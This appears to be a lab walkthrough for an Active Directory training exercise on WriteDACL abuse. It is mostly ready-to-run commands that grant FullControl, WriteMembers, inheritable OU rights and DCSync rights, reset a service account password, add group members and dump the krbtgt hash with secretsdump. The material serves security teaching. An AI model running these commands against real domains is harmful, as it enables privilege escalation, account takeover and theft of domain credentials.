Set variables:
export DC=10.10.10.200
export DOMAIN=ootw.local
export USER=ben.carter
export PASS='StudentPass2026!'
Read the current DACL before writing. We need to know what existed before the attack so we can undo only our ACE.
dacledit.py -action read -target svc_web "$DOMAIN/$USER:$PASS" -dc-ip $DC
User Target: Grant Full Control
WriteDACL lets us grant the right we wanted in the first place. The direct lab path is to grant FullControl over svc_web, then reset the password.
dacledit.py -action write -rights FullControl -principal $USER -target svc_web "$DOMAIN/$USER:$PASS" -dc-ip $DC
bloodyAD -d $DOMAIN --host $DC -u $USER -p "$PASS" set password svc_web 'WebReset2026!'
nxc ldap $DC -d $DOMAIN -u svc_web -p 'WebReset2026!'
Group Target: Grant WriteMembers
If the target is a group, grant WriteMembers, add the controlled account, then validate the membership.
dacledit.py -action write -rights WriteMembers -principal $USER -target 'ACL Operators' "$DOMAIN/$USER:$PASS" -dc-ip $DC
bloodyAD -d $DOMAIN --host $DC -u $USER -p "$PASS" add groupMember 'ACL Operators' alice.wright
bloodyAD -d $DOMAIN --host $DC -u $USER -p "$PASS" get object 'ACL Operators' --attr member
OU Target: Inheritable ACE
An inheritable ACE on an OU can affect every matching child object. This is high-impact because the abuse may not be visible by looking only at the child object.
dacledit.py -action write -rights FullControl -principal $USER -target-dn 'OU=Servers,OU=OOTW Lab,DC=ootw,DC=local' "$DOMAIN/$USER:$PASS" -dc-ip $DC -inheritance
Domain Object: DCSync Bridge
When WriteDACL applies to the domain object, the attacker can grant replication rights and perform DCSync. This is domain-impacting and belongs in the domain replication attack path, but the ACL primitive is shown here.
dacledit.py -action write -rights DCSync -principal $USER -target-dn 'DC=ootw,DC=local' "$DOMAIN/$USER:$PASS" -dc-ip $DC
secretsdump.py -just-dc-user krbtgt "$DOMAIN/$USER:$PASS@$DC"
Remove the ACE when finished:
dacledit.py -action remove -rights FullControl -principal $USER -target svc_web "$DOMAIN/$USER:$PASS" -dc-ip $DC